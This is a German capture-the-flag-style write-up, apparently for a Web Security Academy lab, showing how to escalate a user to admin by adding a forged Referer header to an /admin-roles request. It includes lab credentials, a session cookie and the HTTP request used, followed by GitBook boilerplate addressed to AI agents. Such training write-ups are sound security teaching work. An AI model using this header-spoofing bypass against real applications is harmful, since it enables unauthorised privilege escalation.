> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/access-control/access-control-based-on-the-referer-header.md).

# Zugriffskontrolle basierend auf dem Referer-Header

### Referer-basierte Zugriffskontrolle

Dieses Lab wendet eine Zugriffskontrolle für Administrationsfunktionen basierend auf dem Header an **Referer**. / Sie können das Administrationspanel zunächst erkunden, indem Sie sich mit **administrator:admin** Anmeldedaten.

Um das Lab zu lösen, müssen Sie sich mit dem Benutzer anmelden **wiener:peter** und die fehlerhafte Validierung des Referer-Headers nutzen, um eine Admin-Rolle zu erhalten.

#### **1. Kontext**

* Session-Cookie für *wiener*

```bash
cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

* Beim Versuch, Rollen ohne zusätzlichen Header zu ändern, verweigert die Anwendung den Zugriff:

```http
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0a19008c034b40de834b14e0009a0062.web-security-academy.net
Cookie: session=cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

<figure><img src="/files/7e0a0de5abbfea4539628580c84dae4004afac3f" alt=""><figcaption></figcaption></figure>

Die Antwort zeigt an, dass der Benutzer nicht über die erforderlichen Rechte verfügt.

#### **2. Umgehen der Referer-Prüfung**

Wenn man einen Header hinzufügt **Referer** der auf eine legitime Admin-Seite verweist, akzeptiert die Anwendung die Aktion

```bash
Referer: https://0a19008c034b40de834b14e0009a0062.web-security-academy.net/admin
```

Mit diesem hinzugefügten Header wird es möglich, wiener hochzustufen, und Admin-Zugriff wird erlangt.

<figure><img src="/files/6120f36e6b9dd4554367134f13a322280e67f3c2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/access-control/access-control-based-on-the-referer-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
